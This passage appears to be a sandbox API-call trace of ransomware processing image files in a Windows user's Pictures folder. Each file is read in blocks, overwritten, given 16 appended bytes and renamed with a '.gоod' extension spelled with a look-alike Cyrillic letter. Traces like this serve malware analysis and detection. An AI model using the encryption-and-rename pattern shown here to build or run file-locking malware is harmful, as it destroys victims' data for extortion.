lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0176.688] CloseHandle (hObject=0x630) returned 1 [0176.688] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0176.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0176.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0176.688] GetFileType (hFile=0x630) returned 0x1 [0176.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0176.689] GetFileType (hFile=0x630) returned 0x1 [0176.689] ReadFile (in: hFile=0x630, lpBuffer=0x3670b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3670b50*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0177.512] CloseHandle (hObject=0x630) returned 1 [0177.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0177.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0177.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0177.512] GetFileType (hFile=0x630) returned 0x1 [0177.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0177.512] GetFileType (hFile=0x630) returned 0x1 [0177.512] WriteFile (in: hFile=0x630, lpBuffer=0x33ea628*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33ea628*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0177.513] CloseHandle (hObject=0x630) returned 1 [0177.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg", lpFilePart=0x0) returned 0x27 [0177.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg.gоod", lpFilePart=0x0) returned 0x2c [0177.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0177.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1598680, ftCreationTime.dwHighDateTime=0x1d4d00d, ftLastAccessTime.dwLowDateTime=0x67b0d030, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x66055ce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x141cf)) returned 1 [0177.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0177.513] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\x7NKwrN80Q.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\x7nkwrn80q.jpg.gоod")) returned 1 [0177.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0177.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0177.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), fInfoLevelId=0x0, lpFileInformation=0x34b5d88 | out: lpFileInformation=0x34b5d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bec9140, ftCreationTime.dwHighDateTime=0x1d4cdd4, ftLastAccessTime.dwLowDateTime=0x3e7bba30, ftLastAccessTime.dwHighDateTime=0x1d4d064, ftLastWriteTime.dwLowDateTime=0x3e7bba30, ftLastWriteTime.dwHighDateTime=0x1d4d064, nFileSizeHigh=0x0, nFileSizeLow=0x2878)) returned 1 [0177.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0177.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0177.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0177.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0177.514] GetFileType (hFile=0x630) returned 0x1 [0177.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0177.515] GetFileType (hFile=0x630) returned 0x1 [0177.515] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0177.515] ReadFile (in: hFile=0x630, lpBuffer=0x34b6100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x34b6100*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0177.515] CloseHandle (hObject=0x630) returned 1 [0177.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0177.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0177.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0177.515] GetFileType (hFile=0x630) returned 0x1 [0177.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0177.515] GetFileType (hFile=0x630) returned 0x1 [0177.515] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x2878 [0177.515] WriteFile (in: hFile=0x630, lpBuffer=0x34b7348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x34b7348*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0177.515] CloseHandle (hObject=0x630) returned 1 [0177.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0177.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0177.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0177.516] GetFileType (hFile=0x630) returned 0x1 [0177.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0177.516] GetFileType (hFile=0x630) returned 0x1 [0177.516] ReadFile (in: hFile=0x630, lpBuffer=0x34b95b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34b95b8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0178.159] CloseHandle (hObject=0x630) returned 1 [0178.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0178.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0178.160] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0178.160] GetFileType (hFile=0x630) returned 0x1 [0178.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0178.160] GetFileType (hFile=0x630) returned 0x1 [0178.160] WriteFile (in: hFile=0x630, lpBuffer=0x33feac0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33feac0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0178.160] CloseHandle (hObject=0x630) returned 1 [0178.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif", lpFilePart=0x0) returned 0x22 [0178.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif.gоod", lpFilePart=0x0) returned 0x27 [0178.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0178.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bec9140, ftCreationTime.dwHighDateTime=0x1d4cdd4, ftLastAccessTime.dwLowDateTime=0x3e7bba30, ftLastAccessTime.dwHighDateTime=0x1d4d064, ftLastWriteTime.dwLowDateTime=0x66671d1a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2888)) returned 1 [0178.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0178.161] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\XpYDC.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\xpydc.gif.gоod")) returned 1 [0178.161] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0178.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0178.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), fInfoLevelId=0x0, lpFileInformation=0x34bf7e0 | out: lpFileInformation=0x34bf7e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9f99e0, ftCreationTime.dwHighDateTime=0x1d4cf77, ftLastAccessTime.dwLowDateTime=0x6cd06620, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x6cd06620, ftLastWriteTime.dwHighDateTime=0x1d4d013, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b)) returned 1 [0178.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0178.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0178.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0178.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0178.162] GetFileType (hFile=0x630) returned 0x1 [0178.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0178.162] GetFileType (hFile=0x630) returned 0x1 [0178.162] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0178.162] ReadFile (in: hFile=0x630, lpBuffer=0x34bfb68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x34bfb68*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0178.162] CloseHandle (hObject=0x630) returned 1 [0178.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0178.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0178.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0178.163] GetFileType (hFile=0x630) returned 0x1 [0178.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0178.163] GetFileType (hFile=0x630) returned 0x1 [0178.163] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xdb4b [0178.163] WriteFile (in: hFile=0x630, lpBuffer=0x34c0db8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x34c0db8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0178.163] CloseHandle (hObject=0x630) returned 1 [0178.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0178.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0178.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0178.163] GetFileType (hFile=0x630) returned 0x1 [0178.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0178.164] GetFileType (hFile=0x630) returned 0x1 [0178.164] ReadFile (in: hFile=0x630, lpBuffer=0x34c3030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34c3030*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0178.648] CloseHandle (hObject=0x630) returned 1 [0178.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0178.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0178.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0178.648] GetFileType (hFile=0x630) returned 0x1 [0178.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0178.648] GetFileType (hFile=0x630) returned 0x1 [0178.649] WriteFile (in: hFile=0x630, lpBuffer=0x3427bf0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3427bf0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0179.207] CloseHandle (hObject=0x630) returned 1 [0179.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg", lpFilePart=0x0) returned 0x24 [0179.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg.gоod", lpFilePart=0x0) returned 0x29 [0179.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0179.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9f99e0, ftCreationTime.dwHighDateTime=0x1d4cf77, ftLastAccessTime.dwLowDateTime=0x6cd06620, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x6708870e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdb5b)) returned 1 [0179.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0179.335] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\yOrN7H8.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\yorn7h8.jpg.gоod")) returned 1 [0179.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", lpFilePart=0x0) returned 0x2c [0179.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0179.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), fInfoLevelId=0x0, lpFileInformation=0x350d4e0 | out: lpFileInformation=0x350d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6432a130, ftCreationTime.dwHighDateTime=0x1d4cb32, ftLastAccessTime.dwLowDateTime=0x88ab35b0, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x88ab35b0, ftLastWriteTime.dwHighDateTime=0x1d4d18e, nFileSizeHigh=0x0, nFileSizeLow=0x67e2)) returned 1 [0179.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0179.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", lpFilePart=0x0) returned 0x2c [0179.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0179.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0179.336] GetFileType (hFile=0x630) returned 0x1 [0179.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0179.336] GetFileType (hFile=0x630) returned 0x1 [0179.336] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0179.336] ReadFile (in: hFile=0x630, lpBuffer=0x350d8a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x350d8a8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0179.337] CloseHandle (hObject=0x630) returned 1 [0179.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", lpFilePart=0x0) returned 0x2c [0179.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0179.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0179.337] GetFileType (hFile=0x630) returned 0x1 [0179.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0179.337] GetFileType (hFile=0x630) returned 0x1 [0179.337] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x67e2 [0179.337] WriteFile (in: hFile=0x630, lpBuffer=0x350eb18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x350eb18*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0179.337] CloseHandle (hObject=0x630) returned 1 [0179.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", lpFilePart=0x0) returned 0x2c [0179.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0179.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0179.338] GetFileType (hFile=0x630) returned 0x1 [0179.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0179.338] GetFileType (hFile=0x630) returned 0x1 [0179.338] ReadFile (in: hFile=0x630, lpBuffer=0x3510db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3510db0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0180.951] CloseHandle (hObject=0x630) returned 1 [0180.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", lpFilePart=0x0) returned 0x2c [0180.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0180.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0180.952] GetFileType (hFile=0x630) returned 0x1 [0180.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0180.952] GetFileType (hFile=0x630) returned 0x1 [0180.952] WriteFile (in: hFile=0x630, lpBuffer=0x33fc798*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33fc798*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0181.424] CloseHandle (hObject=0x630) returned 1 [0181.424] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp", 